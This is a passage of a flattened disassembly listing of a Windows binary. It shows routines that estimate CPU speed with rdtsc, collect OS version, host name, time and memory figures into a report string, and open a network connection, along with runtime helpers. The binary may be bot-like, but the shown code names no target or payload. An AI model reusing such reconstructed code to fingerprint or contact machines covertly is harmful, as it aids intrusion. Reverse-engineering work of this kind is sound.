loc_41A988 jmp short loc_41A978 ; --------------------------------------------------------------------------- loc_41A95E: ; CODE XREF: sub_41A8F5+2Ej cmp [ebp+var_90], 5 jnz short loc_41A988 cmp [ebp+var_8C], esi jz short loc_41A94F cmp [ebp+var_8C], 1 jnz short loc_41A97C loc_41A978: ; CODE XREF: sub_41A8F5+67j push 3 jmp short loc_41A987 ; --------------------------------------------------------------------------- loc_41A97C: ; CODE XREF: sub_41A8F5+81j cmp [ebp+var_8C], 2 jnz short loc_41A988 push 7 loc_41A987: ; CODE XREF: sub_41A8F5+4Fj ; sub_41A8F5+5Cj ... pop esi loc_41A988: ; CODE XREF: sub_41A8F5+25j ; sub_41A8F5+4Bj ... mov eax, esi pop esi leave retn sub_41A8F5 endp ; =============== S U B R O U T I N E ======================================= sub_41A98D proc near ; CODE XREF: sub_41AA43+290p push ebx push esi push edi mov esi, 0F4240h loc_41A995: ; CODE XREF: sub_41A98D+2Fj ; sub_41A98D+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 26A0F44h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A995 jb short loc_41A9C4 cmp ebx, esi ja short loc_41A995 loc_41A9C4: ; CODE XREF: sub_41A98D+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA37 jb short loc_41A9E3 cmp esi, 50h jnb short loc_41A9E8 loc_41A9E3: ; CODE XREF: sub_41A98D+4Fj push 4Bh xor edx, edx pop eax loc_41A9E8: ; CODE XREF: sub_41A98D+54j test ecx, ecx ja short loc_41AA37 jb short loc_41A9F3 cmp esi, 47h jnb short loc_41A9F8 loc_41A9F3: ; CODE XREF: sub_41A98D+5Fj push 42h xor edx, edx pop eax loc_41A9F8: ; CODE XREF: sub_41A98D+64j test ecx, ecx ja short loc_41AA37 jb short loc_41AA03 cmp esi, 37h jnb short loc_41AA08 loc_41AA03: ; CODE XREF: sub_41A98D+6Fj push 32h xor edx, edx pop eax loc_41AA08: ; CODE XREF: sub_41A98D+74j test ecx, ecx ja short loc_41AA37 jb short loc_41AA13 cmp esi, 26h jnb short loc_41AA18 loc_41AA13: ; CODE XREF: sub_41A98D+7Fj push 21h xor edx, edx pop eax loc_41AA18: ; CODE XREF: sub_41A98D+84j test ecx, ecx ja short loc_41AA37 jb short loc_41AA23 cmp esi, 1Eh jnb short loc_41AA28 loc_41AA23: ; CODE XREF: sub_41A98D+8Fj push 19h xor edx, edx pop eax loc_41AA28: ; CODE XREF: sub_41A98D+94j test ecx, ecx ja short loc_41AA37 jb short loc_41AA33 cmp esi, 0Ah jnb short loc_41AA37 loc_41AA33: ; CODE XREF: sub_41A98D+9Fj xor eax, eax xor edx, edx loc_41AA37: ; CODE XREF: sub_41A98D+4Dj ; sub_41A98D+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA43 proc near ; CODE XREF: sub_401ACD+276Fp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D808 mov [ebp+var_CC], 94h nop call near ptr 270055Dh xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AACA cmp [ebp+var_C4], ebx jnz short loc_41AAA6 cmp [ebp+var_BC], 1 jnz short loc_41AA90 mov [ebp+var_4], offset dword_431974 loc_41AA90: ; CODE XREF: sub_41AA43+44j cmp [ebp+var_BC], 2 jnz loc_41AB45 mov [ebp+var_4], offset dword_431970 jmp short loc_41AB16 ; --------------------------------------------------------------------------- loc_41AAA6: ; CODE XREF: sub_41AA43+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB8 mov [ebp+var_4], offset dword_43196C jmp short loc_41AB0D ; --------------------------------------------------------------------------- loc_41AAB8: ; CODE XREF: sub_41AA43+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB06 mov [ebp+var_4], offset dword_431968 jmp short loc_41AB0D ; --------------------------------------------------------------------------- loc_41AACA: ; CODE XREF: sub_41AA43+33j cmp [ebp+var_C8], 5 jnz short loc_41AB06 cmp [ebp+var_C4], ebx jnz short loc_41AAE4 mov [ebp+var_4], offset dword_431964 jmp short loc_41AB0D ; --------------------------------------------------------------------------- loc_41AAE4: ; CODE XREF: sub_41AA43+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF6 mov [ebp+var_4], offset dword_431960 jmp short loc_41AB0D ; --------------------------------------------------------------------------- loc_41AAF6: ; CODE XREF: sub_41AA43+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0D loc_41AB06: ; CODE XREF: sub_41AA43+7Cj ; sub_41AA43+8Ej mov [ebp+var_4], offset dword_431958 loc_41AB0D: ; CODE XREF: sub_41AA43+73j ; sub_41AA43+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB45 loc_41AB16: ; CODE XREF: sub_41AA43+61j cmp [ebp+var_B8], bl jz short loc_41AB45 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB45: ; CODE XREF: sub_41AA43+54j ; sub_41AA43+D1j ... mov ax, word_437F2C push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB534 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7E lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7E: ; CODE XREF: sub_41AA43+12Cj push [ebp+arg_4] call sub_40AC10 pop ecx push eax call dword_4CB694 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB60C cmp eax, ebx jz short loc_41ABA7 push dword ptr [eax] jmp short loc_41ABAC ; --------------------------------------------------------------------------- loc_41ABA7: ; CODE XREF: sub_41AA43+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAC: ; CODE XREF: sub_41AA43+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 26A0B90h lea eax, [ebp+var_114] push 46h push eax push offset dword_43A7FC push ebx mov esi, 409h push ebx push esi nop call near ptr 2760000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 275151Ch push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 2880000h nop push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A33 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88C add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC10 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416923 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416923 pop ecx pop ecx push eax call sub_41A98D push edx push eax push offset dword_43A720 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF7 proc near ; CODE XREF: sub_401ACD+279Dp ; sub_401ACD+72F6p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB73C, 0 jnz short loc_41AD63 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB518 test eax, eax jnz short loc_41AD4C lea eax, [ebp+var_8C] push offset dword_43A87C push eax call sub_41B886 pop ecx pop ecx loc_41AD4C: ; CODE XREF: sub_41ACF7+40j test [ebp+var_C], 1 jz short loc_41AD59 push offset dword_43A874 jmp short loc_41AD5E ; --------------------------------------------------------------------------- loc_41AD59: ; CODE XREF: sub_41ACF7+59j push offset off_43A870 loc_41AD5E: ; CODE XREF: sub_41ACF7+60j lea eax, [ebp+var_8] jmp short loc_41AD7B ; --------------------------------------------------------------------------- loc_41AD63: ; CODE XREF: sub_41ACF7+28j mov esi, offset off_43A86C lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7B: ; CODE XREF: sub_41ACF7+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC10 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A828 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB6 proc near ; DATA XREF: sub_401ACD+7715o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A95C call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CB550 test eax, eax jz loc_41AF50 cmp [ebp+var_34], ebx jbe short loc_41AE8D push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8D: ; CODE XREF: sub_41ADB6+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAB push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAB: ; CODE XREF: sub_41ADB6+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC5 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC5: ; CODE XREF: sub_41ADB6+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDF push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDF: ; CODE XREF: sub_41ADB6+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CB604 call dword_4CB628 mov esi, eax cmp esi, ebx jz short loc_41AF68 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB61C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6F push ebx push ebx push ebx push ebx push eax call dword_4CB5C8 test eax, eax jz short loc_41AF49 push offset dword_43A940 jmp short loc_41AF74 ; --------------------------------------------------------------------------- loc_41AF49: ; CODE XREF: sub_41ADB6+18Aj push offset unk_43A904 jmp short loc_41AF74 ; --------------------------------------------------------------------------- loc_41AF50: ; CODE XREF: sub_41ADB6+B7j lea eax, [ebp+var_55C] push offset dword_43A8E8 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF82 ; --------------------------------------------------------------------------- loc_41AF68: ; CODE XREF: sub_41ADB6+153j push offset unk_43A8BC jmp short loc_41AF74 ; --------------------------------------------------------------------------- loc_41AF6F: ; CODE XREF: sub_41ADB6+17Bj push offset unk_43A88C loc_41AF74: ; CODE XREF: sub_41ADB6+191j ; sub_41ADB6+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF82: ; CODE XREF: sub_41ADB6+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAD push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A73 add esp, 14h loc_41AFAD: ; CODE XREF: sub_41ADB6+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AD pop ecx push esi call dword_4CB688 push [ebp+var_4] call dword_4CB688 push [ebp+var_1D8] call sub_40B413 pop ecx push ebx call near ptr 2710000h nop pop edi pop esi pop ebx sub_41ADB6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DBp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB32+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DCFE8 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DCFE4 call near ptr 27D0000h nop loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F08Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DCFE8 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DCFE0 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DCFE4 nop call near ptr 27E0000h mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DCFE4 nop call near ptr 2890000h mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB9DC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C9D4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DCFE4 nop call near ptr 27E0000h mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DCFE4 call near ptr 2890000h nop mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB9DC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DCFE4 nop call near ptr 2890000h test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB9DC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; 